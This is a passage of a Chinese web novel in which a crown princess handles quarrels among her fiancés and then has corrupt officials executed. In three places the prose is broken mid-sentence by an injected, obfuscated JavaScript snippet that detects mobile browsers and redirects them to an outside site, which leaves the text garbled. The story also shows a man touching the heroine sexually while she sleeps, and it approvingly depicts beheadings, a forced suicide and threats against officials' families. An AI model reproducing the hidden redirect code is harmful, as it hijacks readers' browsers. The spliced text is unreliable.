虽然对不住曾今自己“一生一世一双人”的憧憬,但,纳兰轻尘此时此刻,只想遵循自己的内心。
江湖儿女,敢爱敢恨。
他追求心中所爱,有何不可?
大不了不喜欢了,就好聚好散。
纳兰轻尘看君羲和东方两兄弟拉扯,心里忽然就顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666062|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
悟了。
于是,少年剑客也开口问。
“殿下,雪月剑庄有一剑法名为昏昏欲睡,我已经练至大成。”
“是药三分毒,安神香说到底也是由草药制作而成,会对身体有一定的伤害,倒不如……”
纳兰轻尘本就和东方炽、东方凌不对付,他不甘示弱伸出一只手,大大方方邀请君羲。
“殿下去我房中休息,我给殿下舞剑助眠。”
东方炽气得咬牙,好不容易溟汐不在,他们想争取一下和君羲多些时间待在一起培养感情,纳兰轻尘居然想截胡?
“这有什么的,阿凌还会唱摇篮曲呢。”
东方凌:……
他不是,他没有,他不会。
哥哥,胡说八道也要有个度啊,他根本不会唱什么摇篮曲,唱催命曲还差不多。
偏偏东方炽这个憨憨还一脸骄傲,一副我家弟弟唱摇篮曲天下第一的神色,问东方凌。
“阿凌,你说对吧?”
纳兰轻尘也不愿示弱,这是他们三人第一次在抢夺侍寝权上争斗,他不想输。
再说,据探子所报,溟汐、东方炽、东方凌都和君羲有过肌肤之亲……
老话说得好,一步落后则步步落后,他可不愿意落后太多。
今晚的侍寝权,他要定了!
三人间唇枪舌战,无声的刀光剑影的三人眉眼间杀来杀去。
君羲:……
她身为妻主,这时候有必要维持一下后院和平。
“都别抢了,孤今晚要处理政事,就宿在书房。
“三位未婚夫辛苦操劳了三日,辛苦了,都早些回自己房中,早些休息吧。”
谁知,刚刚还吵得不可开交的纳兰轻尘、东方炽和东方凌三人,听到了君羲的声音,却是不约而同齐齐回过头来,看向君羲,异口同声道:
“你别管。”
他们有自己的抢法!
君羲头一次感觉到尴尬,原来他们只是想体会一下抢夺的感觉吗?根本不在意她这个被抢夺之人的意见……
君羲还能怎么办,这事儿就不好解决。
“既如此,纳兰、阿炽、阿凌,你们三人友好交流,得出结论后来书房找孤,孤就先去书房处理要事了。”
三人再次异口同声。
“好。”
君羲叹了声气,有种淡淡的忧伤。
论夫郎本是为了她而争抢,此刻却沉浸在争抢的快乐中,完全不在乎她的去留是怎么回事啊喂!
罢了,这事情总归会有一个结论,她安心在书房等着便是。
人的五根手指尚且有长有短,虽说掌心掌背都是肉,但肉的厚度可不一样。
君羲要做的就是,就算心中会偏爱九个夫郎中的一两位,也不能伤了其余夫郎的心。
这也是……
帝王之道,讲究平衡。
圣心如渊,讲的便是身为帝王,需要隐藏好自身喜恶,让人难以揣测圣心。
君羲有的没的想了一大堆,斜支着头,心不在焉听着底下官员阿谀奉承,只觉得没意思极了。
也不知道,今晚会是哪个未婚夫赢得侍寝权呢?
……
第94章 能乖乖让孤上药了不?
君羲在走神,之前三日已经将事情处理得差不多了,现在就是一些杂七杂八的琐事。
前来汇报的官员都是一些见风使舵,既无大错,也无大功的墙头草。
天下熙熙,皆为利来,天下攘攘,皆为利往。
君羲对她们的心思门清,不过是见她要肃清两州广场,认为自己有机会攀上她这根金大腿,飞黄腾达。
所以才迫不及待拿着“投名状”来表现一二。
“殿下,她们都走了。”
直到凤羽提醒君羲,君羲才发现书桌上多了厚厚一叠写满罪状的纸。
君羲才恍然,外面已经是月上柳梢头,更深露重。
“这是?”
凤羽打趣道:
“口供。”
“殿下,你可不知道,刚刚你不过是走神,但前来递投名状的官员一个个被你吓得不轻,地板上全都是她们的汗。”
君羲瞥了凤羽一眼,哪有那么夸张,她又不是**的老虎,有必要这么怕?
眼神骤然停在正前方的地板上,果真有些湿润,桶周围的颜色完全不一样。
君羲:……
她真的不是故意的。
不过,这些官员虽无大错,但也不是什么清官。
君羲在理所应当地想,就当吓吓她们,给她们长长记性。
免得她离开漾州、绥州后,这些官员借着她的威风狐假虎威、作威作福。
“凤羽,没人过来书房找孤吗?”
君羲不再纠结那些个墙头草,她只在乎三个未婚夫郎,吵了快半天,还没个胜出者?
君羲抬眸,神色有些茫然,倒是比之前高高在上的太女多了几分人情味。
凤羽好笑,轻眨了下眼。
“殿下,你希望外面的男子,是哪一位公子?”
君羲没说话,坐在书房里猜想毫无意义,想要知道外面等她的人是谁,推开房门就会知道。
她是一个行动派,说行动就会行动。
君羲心中暗暗期待,大概就是未知的往往让人心生好奇吧。
打开门,月色皎洁,倾泻于地。
她眼神一亮,月光下负剑而立的白衣剑客,潇洒少年郎,孤高天上月。
“纳兰。”
少年郎回头,月光下那张如画精致的脸像极了月宫中的仙男。
“殿下,跟我来。”
君羲自然跟了上去,她不知道纳兰轻尘是如何胜过东方兄弟二人的,她只需要知道,今晚,陪在她身边是纳兰轻尘便足够了。
少年郎身形修长如竹,月光下随着走动而飘荡的一角像极了月光的一部分。
就在君羲感慨雪月剑庄的少年剑客果真如月清冷时,听到了少年的轻嘶声。
君羲上前一步,拉住纳兰轻尘的剑鞘。
“受伤了?”
纳兰轻尘得意一笑,转头时,不经意将受伤的手腕露在君羲面前。
“没事。”
纳兰轻尘的手腕有些青紫,严重的地方甚至渗出血了。
君羲颇为头疼,所以,最终还是靠打架赢的?
她蹙眉,改为攥住少年的剑柄,二人以雪月剑为媒介,君羲在前面走,纳兰轻尘浅笑着跟在身后。
“纳兰,手腕受伤不是小事,受伤了就先去上药包扎。”
君羲隐约知道纳兰轻尘的小心思,不过是想让她心疼。
这个年纪的少年郎,爱意随风起,炽热而真挚。
对他们而言,喜欢就是喜欢,不喜欢就是不喜欢。
凭借的不过是一颗真心,没有那么多利益考虑。
君羲上一世掌过天下权,见识过太多人为了利益而争得头破血流、家破人亡,甚至,她在其中扮演着幕后推手的角色。
深陷利益漩涡久了,少年不参杂利益的真心就显得格外可贵。
“下次不必在外面等孤,让人通报即可。”
有时候,她希望她的夫郎可以不那么懂事。
纳兰轻尘垂眸看向握住剑柄的手,一个闻名天下的剑客,配剑对他来言,不仅仅是兵器那么简单。
更像是家人、友人、伴侣。
雪月剑除了纳兰轻尘,第一次被人触碰。
纳兰轻尘想起,无论是春夏秋冬,还是刮风下雨,他曾无数次握住雪月剑剑柄,或练剑、或比试、或行侠仗义、或惩奸除恶……
雪月剑见证了纳兰轻尘太多太多,白衣少年剑客只觉得,女人握住的不是剑柄,而是握住了他的过往,握住了他的心脏。
扑通、扑通、扑通……
心脏声如擂鼓,纳兰轻尘整个人都迷迷糊糊的,被君羲带到了房中才回过神来。
这是她们第一次共处一室,没有受伤的绝色鲛人,也没有烦人的双生子。
就他和她。
纳兰轻尘想着,他待会该做些什么,先抬左脚还是右脚,和未来妻主说话有哪些注意事项……
纳兰轻尘第一次恨自己不爱看市场上流行的爱情话本,导致他这个感情小白根本应付不来和女子单独相处的情景。
而且……
而且,君羲会不会像之前吻溟汐一样吻他呀。
纳兰轻尘越想越离谱,越想越多,上一次偷偷看了君羲和溟汐接吻半个时辰的画面在脑海中不断复现。
他成功把自己想得面红耳赤。
君羲浑然不知道纳兰轻尘这个还未及冠的少年想了些什么涩涩事情,她在房中翻箱倒柜一阵,终于找到了上好的金疮药以及跌打损伤药。
到底是入住城主府的时间太过仓促,将原本的东西销毁后,房中有许多东西还会置办齐全。
所以,纳兰轻尘房中连张桌子都没有。
君羲只得把药箱放在床榻上,疑惑地喊了一声面红耳赤、不敢直视她眼神的纳兰轻尘。
“纳兰,过来。”
纳兰轻尘身子一个激灵,眼神就像怯生生的小鹿,有些害怕又有些期待。
他深吸一口气,大步走向床榻,一副要献身的模样。
比起朝堂上的老狐狸,纳兰轻尘的表情可太好懂了,君羲拿起一瓶金疮药把玩,一把拉过纳兰轻尘的手。
纳兰轻尘还以为会发生什么,完全不敢睁眼。
直到手中多了一个圆形的、葫芦状、瓷器手感的东西,他似乎想到了什么,脸色红得快滴血了。
殿下,殿下这是做什么啊!
君羲忍不住了,笑出声。
“纳兰,不过是一瓶金疮药,你在想什么呢?脸这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666063|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么红。”
纳兰轻尘这才反应过来,他这是误会了。
睁眼,看向手心。
果然是一个小瓷瓶,不是什么闺房用品。
君羲也不逗纳兰轻尘了,她发现,所有夫郎中,纳兰轻尘是最容易害羞的,性格也最为单纯。
比起其他夫郎,纳兰轻尘才是表里如一,根本不禁逗的。
“手给我。”
纳兰轻尘心里紧张,却还是鼓起勇气将手递了出去。
君羲不在做多余的动作,只是小心掀起男子的衣袖,露出受伤的手腕,一边上药一边用内力化开药力。
这样能加快愈合速度,否则,明天纳兰轻尘手腕肯定会疼。
只是,她低估了纳兰轻尘的害羞程度,少年的身体僵硬得跟铁块一样,硬邦邦的。
君羲只好转移纳兰轻尘注意力。
“手腕怎么受伤的?和他们打架打的?”
“嗯。”
君羲完成清理消毒,放软声音,消除纳兰轻尘的紧张。
“放松,纳兰,你这样孤没法给你上药。”
“殿下,我已经在放松了啊。”
君羲思考,她是什么洪水猛兽吗?怎么纳兰轻尘看上去很怕的样子。
“纳兰,你还小,别想些有的没的,今晚,好好睡觉。”
君羲说的是实话,纳兰轻尘不像东方炽,东方炽貌似有双重人格,有一个人格带有上一世记忆,所以他会表现出极强的侵略性。
至于东方凌,他从小被父母区别对待,心思扭曲了,对喜欢的人或事物有着惊人的占有欲。
总之,东方炽和东方凌都不是什么正常人,纳兰轻尘是个正常人,所以,她也会换正常的方式对待他。
君羲以为她表述得很清楚了,但纳兰轻尘好像误解了她的意思。
少年的声音很轻,带着不可忽视的低落。
“殿下,我不小了。”
他终于敢在二人单独相处时直视君羲的眼睛,纳兰轻尘眼里有难过,他强调。
“我比东方炽他们大,殿下……”
纳兰轻尘只觉得眼眶酸得不行,光是想到君羲会不喜欢他的可能性,眼睛就不争气地想掉眼泪。
他眉心鲜艳若朱砂的红痣,仿佛都因为少年低落的心情暗淡了几分。
少年吸了吸气,眼神始终盯着女人黑白分明的眸,怕错过君羲真实的情绪。
“殿下,我好像有一点喜欢你。”
他先是表达了自己的心意,顿了顿,才问君羲。
“你呢,有像喜欢他们百分之一一样,有一点点喜欢我吗?”
君羲一看,就知道纳兰轻尘钻进牛角尖里去了。
她索性伸手捏住纳兰轻尘腮帮子,软软凉凉的,手感很好。
她心中暗自评价,然后捏住后上下晃动。
“想这么多,也不怕脑子打结。”
“你们对孤来说,都是很重要的人,不要妄自菲薄啊,纳兰。”
纳兰轻尘都顾不上被捏住的脸,惊喜地捂住君羲的手。
“殿下,你说的都是真的?没骗我?”
君羲轻拍一下纳兰轻尘脑袋,“孤一言九鼎,骗你做什么?”
“现在,能乖乖让孤上药了不?”
第96章 深吻选唇红
纳兰轻尘被君羲哄得乖呼呼的,乖巧“哦哦”了一声,转头就回了房门,继续睡觉去了。
君羲是上朝习惯早起了,所以每天一到点就睁眼,而且几乎不会赖床。
咳、咳……
除了被夫郎们折腾得狠的时候。
纳兰轻尘全程都没注意到东方炽和东方凌冷冰冰的视线,也是神经非常迟钝了。
“姐姐,昨夜睡得好吗?”
面对东方凌阴飕飕的询问,君羲面不改色。
“阿凌,昨夜有你的视线一直陪伴,孤睡得很好,还梦到你了。”
东方凌笑眯眯点头,半点没有被拆穿后的心虚。
“是吗?姐姐睡得好就行。”
东方炽见二人你来我往,彼此阴阳怪气了好多句,记起今日还有要事要做,赶忙走过来打圆场。
“好了,殿下,阿凌,时间也不早了,先收拾一下,准备出发去万民广场了。”
君羲和东方凌这才偃旗息鼓,各自梳洗去了。
君羲的一头长发又黑又长又直,绸缎一样顺滑。
平日里都是被她简单梳成高马尾,但今日不一样。
她想在重生后第一次收复民心的重大日子里,束发戴冠,尽显大凰储君威仪。
寸有所短,尺有所长。
君羲披散着长发,有些束手无策。
她已经尝试了好几次,都没法让“硬如钢针”的头发按照她的心意束成发冠,装饰上镂空如意红宝石金簪。
“哎……”
束发这玩意居然这么难的?
君羲开始后悔了,她就应该带上暗月。
别看暗月是暗卫君首领,擅长暗杀,但她束发的手艺更是一绝。
沉鱼落雁、闭月羞花都戏称,若是哪天暗月失去了暗卫君统领的职位,靠束发手艺吃饭,也是能吃喝不愁的。
东方炽轻笑出声,没想到,看似无所不能的太女殿下居然也有不擅长的领域。
男人站在女人身后,拿起梳妆台上的木梳,仔细给女人梳头。
骨节分明的修长手指在黑发间穿梭,东方炽照顾东方凌照顾惯了,东方凌很多生活起居上的小事,都是他亲力亲为。
他束发的手艺,算得上精巧。
模糊的铜镜中,倒映出男人为女人束发的情景,日常而又温馨,君羲整个人都松弛下来了。
这才是真正的闺房之乐啊。
束发完毕,东方炽又替君羲画眉。
他眼神专注,动作灵巧,不过寥寥几笔,便将女人眉宇间的三分英气画得更胜以往。
紧接着,便是唇妆。
君羲准备了一袭黑红相间,绣有金色龙纹的马面裙套装,东方炽看了一眼衣服,仔细在诸多唇脂间挑选最合适的颜色。
这时候才发现,君羲已经半靠在他怀里,半梦半醒。
东方炽很喜欢君羲全身心依赖他、信任他的模样,他垂眸,盯着女人形状极美的唇形。
他曾经在床榻间品尝过,这张唇的滋味极好。
东方炽眸色一暗,手指抚上女人的粉唇,他还能清晰地记得这张唇,被反复亲吻后,那鲜艳欲滴的颜色……
比天底下任何唇脂都来得美。
渐渐地,男人的动作愈发放肆,不再满足于唇瓣上浅尝即止的抚摸。
唇瓣开合,露出洁白的贝齿和殷红的舌尖,东方炽呼吸猛地加重,手指小心翼翼探入。
女人的眉心微蹙,显然有些不舒服
东方炽立马放轻了动作,生怕君羲醒来,这场单方面的亵玩就要结束。
“殿下……你好美。”
这天底下怎么会有一个女子,长得恰巧合他的心意?
若是以前有人对东方炽说,有朝一日他会对一个女子痴迷到这般地步,他决然不会相信。
但如今,他已经放任自己清醒的沉沦。
就算有上一世的记忆,他也依旧不受控制地喜欢上了君羲。
好在,东方炽心里还是有分寸的,眼看时间差不多了,便停下了手指动作。
他恋恋不舍抽出,用一旁的湿布擦干净,手指间不断地摩挲,似乎还在回味。
可惜,时间不够。
东方炽只得遗憾收尾,轻声喊醒君羲。
“殿下,醒醒,时间差不多了。”
君羲清醒过来,忙不迭望向铜镜中的自己,这才发现已经打扮得差不多了,就差一抹唇红。
君羲还以为东方炽不会选颜色,这才把她喊醒。
女人看着梳妆台上近百号颜色不同的唇脂,颇感觉有些头疼,难怪东方炽挑选不出来。
就在君羲眼花缭乱时,听到一个天籁之音。
“殿下,我有办法挑选出最合适的唇脂。”
君羲一脸崇拜,阿炽好厉害!
“阿炽,什么办法?”
东方炽被女人眼底的崇拜蛊惑,捏住她的下巴,抬起,诱哄她开口答应。
“殿下,这个办法很简单,只需要殿下配合我挑选出最合适的颜色就可以了。”
君羲不疑有他。
“怎么配合?”
东方炽喉结滚动,略微带着点磁性的少年音回响在耳畔。
“闭眼。”
君羲也想看看东方炽口中挑选唇脂的最好方法是什么,所以她如东方炽所言,缓缓闭上眼。
东方炽又拿起梳妆台上二指宽的红色轻纱,动作轻柔地遮住女人闭上的双眼,系在脑后。
还不忘安抚女人。
“殿下,别怕。”
系好红色轻纱后,东方炽看向被红色轻纱遮住双眼的女人,呼吸一窒。
太美了。
太帅了。
东方炽甚至有些后悔,不该把君羲打扮得这般耀眼夺目。
“阿炽?”
东方炽回了一句。
“姐姐。”
低沉的嗓音撩人至极。
君羲还没从耳朵快要怀孕的酥麻感回过神,便被野性桀骜的男人半强制仰头,深深吻住。
男人的动作又急又凶,活像许久没吃上肉一般。
君羲有些招架不住,东方炽这是怎么了?突然亲得这么凶!
“唔……”
她素白的手无力地攀上男人宽阔的肩膀,攥紧又松开,松开又攥紧。
所有的动作都跟随东方炽的节奏。
东方炽早就想这么吻君羲了,那晚他同弟弟打架,争夺替君羲解药的资格。
谁知,却弄巧成拙,让鲛人溟汐把君羲带去了南海深处。
最开始,他们不知道是溟汐将她带走,担心君羲会遭遇什么不测,不眠不休调查了两天一夜。
这才得知,是溟汐将君羲带走。
但是,尽管知道了君羲的具体去向,心里还是止不住的担心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666065|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>那可是人迹罕至的南海深处,一不小心就可能会葬身海底。
后怕的情绪一直蚕食着他的四肢百骸,心脏血液。
那天,在海面上见到君羲,终于确定她安然无恙时,东方炽就想向现在这样吻她了。
恨不能将血肉吞吃入腹,彻底融为一体。
东方炽真的好怕,好怕君羲会出什么意外,从他的世界里,彻底消失不见。
强烈的后怕情绪在心里不断酝酿、累积,其实他早就需要宣泄出来。
但君羲归来后,一直忙于处理漾州、绥州的要事,东方炽看在眼里,心里心疼女人这般劳累。
所以才没有急着做什么。
直到刚刚,女人毫无防备地靠在他怀中睡着,东方炽自君羲离开大陆后,累积的后怕情绪终于爆发……
也就有了刚刚吻得又急又凶的一幕。
亲密接触有助于感受另一半的真实情绪,君羲很快便从亲吻中感受出东方炽在害怕,害怕失去她。
她不在无力推拒,而是回应。
回应得热烈、疯狂。
就像是一种昭告,昭告她已经平安归来,也是在安抚,安抚男人不要害怕。
东方炽感受到女人传递的信息,眼泪顺着眼角滑落。
怎么有人可以这么温柔啊?
一滴泪恰巧滑落至二人交缠的唇舌间……
咸咸的,是阿炽哭了吗?
君羲一边回应男人越发激烈的吻,一边在男人的后背轻抚。
“哥,该出发了。”
东方凌进门,就看到东方凌和君羲接吻,总觉得这一幕,似曾相识。
东方炽放开女人被吻得红红的唇,端详了一会儿,满意地点点头。
“殿下,你看看这个颜色是否喜欢?”
君羲看向铜镜中的自己,女人眉眼含媚,唇色殊红。
像极了风情万种的女妖精。
唇色,倒是刚刚好,和她身上的马面裙套装很适配。
“喜欢。”
谁知,却听到东方炽遗憾的叹了声气。
“诶?一次性就好了吗……”
君羲:……
若是再放任东方炽吻下去,她的唇就不只是红这么简单了,说不定会肿得没法见人。
君羲赶忙打消东方炽危险的想法。
“阿炽,谢谢你。”
“这个唇色我真的很喜欢,多一抹红则显得过分艳丽,少一抹红则显得寡淡无味。”
东方炽也成功被君羲哄得找不着北了……
东方凌严重怀疑,若是此刻君羲让东方炽喝下毒酒,他也会毫不犹豫喝下去。
“阿凌,你先照看着点你哥,我现在去喊纳兰。”
君羲留下一句话后,潇洒离去,喊纳兰清晨起床。
或许是因为床榻间若有似无的冷香,萦绕在他的鼻尖,纳兰轻尘睡得很熟。
“纳兰,起床了。”
纳兰轻尘迷迷糊糊睁开一只眼睛,这么快就到时间了吗?他感觉自己也没睡多久啊……
他有一定程度的起床气,但对君羲除外。
纳兰轻尘揉了揉眼睛,瓷白的侧脸被睡出了红印,看上去有些可爱。
君羲没忍住,伸手戳了戳。
然后,引发了纳兰轻尘委屈的控诉,嗓音哑哑的,带着刚醒的倦懒。
“殿下!你怎么可以戳我脸?”
第97章 斩贪官,大块人心
君羲根本不带心虚的,不止没有收手,反而变本加厉。
她不只用手指戳,还上手揉捏。
“怎么不可以?昨晚你还抱着孤的腰睡了一晚上呢。”
纳兰轻尘一听这话,心虚了。
昨夜他的确被女人的细腰蛊惑,他就是好奇啊,怎么会有人的腰那么细一点,还能在战场上称王称霸。
纳兰轻尘原本只是用手掌去比对,比着比着,他开始好奇,近在咫尺的细腰圈在臂弯该是什么感觉。
谁知,他圈着女人的细腰越发觉得舒服,舒服得倒头就睡着了……
于是,才有了早上那一幕。
纳兰轻尘讨好地将脸凑到君羲手中,嘴里的声音有些嘟囔。
“行叭,给你捏。”
君羲就是想和纳兰轻尘增进一下感情,捏够了脸,也该做正事了。
“纳兰,给你准备的衣服就在床头,孤在外面等你。”
床头,放着一个精致的雕花木盘,盘中是一件精致繁复的绯红衣袍。
纳兰轻尘一打眼就喜欢上了。
“殿下,谢谢你,我很喜欢这件衣服。”
“喜欢就好。”
她揉了揉少年脑袋,移步屏风外等待。
……
君羲和东方炽她们在城主府中换衣服时,被软禁在一处偏僻府院的官员们却是惶惶不可终日。
凤羽军可真狠啊!
她们只听从君羲的命令,半点情面都不讲。
“太女殿下有令,坦白从宽,抗拒从严。”
“尔等可以相互举报,但凡有证据能证明被举报之人的罪行,就能将功折罪。”
她们都是勾结倭寇,贩卖大凰百姓的利益即得者,一条绳上的蚂蚱,彼此手中都有对方的把柄。
若是真按君羲命令相互举报,那她们所有人都有罪,证据确凿那种。
所以,她们试图反抗。
“凭什么?”
“本官有功名在身,就算太女殿下是储君,也不能判我死罪!”
“否则,就是让天下读书人寒心!”
“……”
她们原本以为,只要闹大,君羲为了维护名声,定然会妥协。
可惜,错估了凤羽军的铁血。
长剑出鞘,寒光一闪,剑落人头落。
鲜血喷溅,所有聚众闹事的人,全都被喷了一脸血。
“啊!”
带头的凤羽军不为所动,脸色都没有变一下,就仿佛刚才杀的不是人,而是土鸡瓦狗。
“哦,忘了告诉你们,殿下还有一令,但凡闹事者,斩立决。”
“你们之中,若没人站出来举报,每过一日,便杀十日。”
周围的凤羽军配合着笑得一脸嗜血,这些贪官污吏何时见过这种阵仗?
纷纷被吓得不停后退,有的甚至被吓得瘫软在地,失禁了。
“是自己死还是别人死,你们自己好好想一想吧。”
凤羽军小队首领下令关上院门。
“太女殿下……可没什么耐心啊。”
君羲这一招就是要让她们内部利益联盟瓦解,她相信,不是所有的人都能视死如归。
这三日,就是君羲设定的观望时限。
现在,也该去验收成果了。
“殿下!这是这群狗官提供的举报证据,好厚一叠呢。”
刚开始,她们还想僵着,以为君羲不敢杀她们。
结果被关进来的第二日,就有十人被随机点名,压在地上削了脑袋。
十颗人头整整齐齐滚落在地,她们甚至连一声惨叫都来不及发出,就已经一命呜呼。
这下这群贪官污吏是真的被吓破胆了。
说了不说都可能会死,何不赌一把?
就赌太女会遵守约定,让她们有将功折罪的机会。
人不为己,天诛地灭。
于是,在死亡威胁下,她们的利益联盟自发瓦解。
彼此防备,生怕被人背后捅刀子……
短短三四天,这群日日高床软枕,奴仆环绕,享受奢靡生活的贪官污吏,全都像被圈养的牲畜一样,凄惨狼狈,一不小心就会万劫不复。
她们真的快疯了!
提供的证据够不够抵死罪全凭凤羽军判定,若是举报者被判定提供的证据不足以抵死罪,那这个“举报人”就会被当场揭穿,举报了谁谁谁……
这才是真正的狗咬狗!
“太女殿下驾到!”
“太女殿下千岁、千岁、千千岁!”
君羲开口,声音尽显储君威压。
“平身。”
凤羽军显然早就有所准备,在起身后,飞快端来四张太师椅,整齐摆成一排。
其中,最中间的太师椅刚好就位于院门正中间。
君羲大刀阔斧坐下,双手撑在膝盖上,等着上锁的大门缓缓打开。
咔嚓……
铜锁打开,铁链落地。
院内和院外是截然不同的光景,君羲这个坐姿极具压迫力,像兽王在巡视她的领地,但凡发现入侵者和背叛者,就会毫不犹豫撕碎敌人。
被关在院中的贪官污吏这三天本就受尽折磨,无论是身体还是心理都快承受到极点,即将崩溃。
冷不丁看到院门缓缓打开,第一反应不是逃,而是将身体缩成一团,瑟瑟发抖。
之前的三天里,每次院门打开,对他们来说都不是好事。
不是凤羽军前来挑选被杀人,就是有人举报成功,被举报人即将赴死。
这扇院门在他们眼中更像是地狱的大门,每次打开都象征着死亡的来临。
君羲压低凤眼,周身气势,让人望而生畏。
“诸位,早上好啊,可还有什么遗言要交代的?”
遗言?
不!
她们不想死啊!
那些纷纷因为自己举报成功,暗中窃喜,能够将功赎罪的贪官瞬间懵了。
“太女殿下!您贵为大凰储君不能说话不算话呀,我……”
君羲抬眸,笑弯了眼,眸底深处却是冷色。
“污蔑储君,罪加一等。”
她笑得邪气,单手支着下颚,故作疑惑问道:
“什么说话不算话?你有证据吗?”
那官员哑口无言,背叛之举并不光彩,而且,她知道,君羲已经动了杀心,任由她如何辩解,都无法改变必死的结局。
她苦笑,没想到一念之差,同流合污,落得如今地步也算咎由自取,怪不得任何人。
“太女殿下,罪臣愿意认罪,但求殿下放过罪臣的家人,他们都是无辜的。”
君羲心中冷笑一声,无辜?
在她看来,这些贪官污吏的家眷既然享受了这些贪官压榨百姓,勾结倭寇,带来的荣华富贵,就算不得无辜。
虽然罪不至死,但她也不会放任这些人继续享受奢靡生活。
“孤可以饶他们不死,前提是……”
君羲意有所指望向那官员,那官员也上道,当即跪下,咚咚咚磕了三个响头。
“罪臣谢太女殿下隆恩!”
“凤一。”
铛——
一把锋利的宝剑被风衣扔到了官员面前,那官员伸手去拿剑,浑身都在发抖。
拿起剑的第一刻,心中骤然升起的想法便是反抗,杀了君羲。
但……
君羲被凤羽军牢牢护住暂且不谈,她的父母夫女都在君羲掌控中。
理智终究还是战胜了心中的冲动。
她闭眼,利剑横在脖子上。
“罪臣甘愿赴死,太女殿下仁慈千古!”
话落,利剑抹了脖子。
铛——
利剑再次落在地上,这次却是染了鲜血。
“我不想死!别杀我……”
“君羲!你这个暴君!也不怕受尽天下百姓辱骂。”
“……”
院内很快乱成一团,有抱头痛哭的,也有怒骂君羲暴戾无道的……
君羲只觉得,如听仙乐耳暂明。
这些辱骂声,不过是敌人即将死去时的无能狂怒,是敌人对她最高的礼赞。
“哭吧,闹吧,哭过闹过之后,你们便可以选择安心上路了。”
“你们是想独自行走黄泉路,还是想让你们的父母亲人陪你们?”
“孤相信,诸位都能聪明到和倭寇勾结、贩卖人口、牟取暴利了,想必,此刻想做出正确选择,也是小事一桩。”
君羲抽出长剑,横在刚刚骂她暴戾无道的官员脖子上。
“你做出这等猪狗不如之事都不怕被天下人指着脊梁骨骂,孤替天行道,为百姓做主,有何好怕?”
“我……”
君羲骂完那人,心中出了一口恶气。
根本不给她说话辩解敌人机会,转身的同时挥剑,那官员就瞪大了眼,死不瞑目。
“嗬、嗬……”
君羲侧眸问凤一。
“安王及其党羽勾结的证据现在整理得如何了?”
凤一恭敬拱手。
“殿下,已经按照您的吩咐,送往书局制作成册,分发给两州百姓逐一传阅。”
君如舟,民如水。
水能载舟,亦能覆舟。
君羲就算要杀了这些贪官污吏,肃清两州官场,也会师出有名,杀得两州百姓拍手称快、心服口服!
大凰储君御驾亲征,欲荡平倭寇,营救大凰子民的消息,随着贪官污吏累累罪行的证据传得沸沸扬扬。
一方面是为了振奋民心,另一方面,则是为了引蛇出洞。
漾州、绥州,两州百姓心中早就对压迫她们的贪官不满,得知君羲将在浩然城将她们就地正法,一时间,万人空巷。
“是太女殿下!”
“太女殿下真的会为我等做主吗?”
“……”
一个又一个面色枯败,衣衫褴褛的贪官污吏被压上行刑台。
刽子手手持砍头大刀,腰间挂着一壶烈酒,就等着一声令下,饮酒砍头。
周围的百姓越聚越多,行刑台上的贪官污吏也摆满了。
“斩。”
……
第98章 打脸沈长卿,未婚夫郎们夸君羲帅
令牌落地,刽子手喝了一口烈酒,朝手中大刀喷了一口酒。
眼看便要手起刀落,人头落地。
围观的百姓们这才有了有人真的替她们杀了贪官污吏的实感。
百姓们不自觉红了眼眶。
这些年来,她们受了太多太多的压迫、苦难,如今终于有人替他们做主了。
“好!”
“太女殿下千岁!”
原来,她们对太女殿下有诸多误解,太女殿下才不是暴戾无道,行事荒唐的暴君。
那些往太女殿下身上泼脏水的人真是其心可诛!想用流言让她们误会太女殿下。
“刀下留人!”
有个身穿水红色嫁衣的男子,披头散发,衣衫破烂。
他踉踉跄跄地挤开人群,扑通一声跪在行刑台前,眼神直勾勾地锁定端坐高台上的君羲。
“太女殿下,我……草民愿意用一个重大秘密换取我母亲一条性命。”
那男子似乎对自己口中的重要秘密十分有自信,唇瓣开合:重生。
确保女人能够将他无声的成语看得清清楚楚后,沈长卿恭恭敬敬、端端正正,磕了九个响头。
“就当看在我的面子上,还请太女殿下开恩。”
说起来,用唇语这一招沈长卿还是跟君羲学的。
沈长卿没想到,自以为机关算尽,到最后却是满盘皆输。
他好不容易克服屈辱至极的心理,嫁给君凌,想借助她在绥州的势力慢慢图谋。
他心里面还做着凭借前世记忆,搅弄风云,同明月两厢厮守的美梦……
却在出嫁这日,被君凌和君羲狠狠打了一巴掌。
他不止没能如愿,还成了刚过门便丧妻的寡夫。
沈长卿对君凌的死没有任何触动,君凌对他极尽羞辱,根本不把他当人看,就算君羲不杀了他,他日后也会想方设法蛰伏,一击必杀。
可是,君羲早不来晚不来,偏偏要在一旁看够了热闹,他和君凌完成了婚礼才出来。
